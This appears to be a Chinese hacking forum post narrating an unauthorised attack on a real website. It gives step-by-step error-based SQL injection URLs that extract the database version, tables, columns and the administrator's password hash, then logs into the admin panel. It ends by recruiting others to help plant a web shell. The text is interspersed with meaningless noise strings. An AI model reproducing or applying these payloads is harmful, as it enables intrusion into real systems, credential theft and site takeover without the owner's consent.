近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
0 N3 @* e/ m" v' w: i首先找到网站后台,加了个admin,后台出来了 ( k# W! Y+ M7 t4 k, z- t
: W2 L- q& J6 y
7 T& G* j0 \% C `" a然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入- b1 R9 p5 w/ _$ E8 Y
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—$ m. W' B$ p" c# b5 e+ s2 y
# R; S( b& J% w7 ]* |: K6 c* K
0 _ u+ A: Y' M* F0 n( B/ C( d4 I% A4 b2 w9 w V( l+ P4 m3 d/ P
# x! j5 e) X* C9 I" @0 {" b! B! E& Khttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg, K, F+ W/ M% Z6 j5 N7 ~
" w1 ?6 _+ ]' ~8 {1 q, N
4 A' V! p7 d: {* E
: I: R& C+ F- Y+ Y& T0 u' ~" q+ n( Z* ^/ S
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator. \! K0 z( I, q) V- E
/ J7 X- k# @4 _6 d' O; B% F) T( H
6 j" \* v" U/ [http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
+ t$ ~8 t6 ?; _. A- ]# U( u. U! U! U
( o+ }7 _) C' x0 s d4 [& M 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--8 M9 a6 e4 l& y/ |
! _! z5 P( T% `# c+ ]. }1 K, P5 e8 {! j t& w
: |4 S, z* q9 Q- a, P 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
$ q& x8 e; w0 u) o# ]3 x# f5 y& w8 R. Y2 d
1 ?0 j& I7 V9 `& i6 f' g/ |
1 W9 }5 D7 n4 S9 z6 Y 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |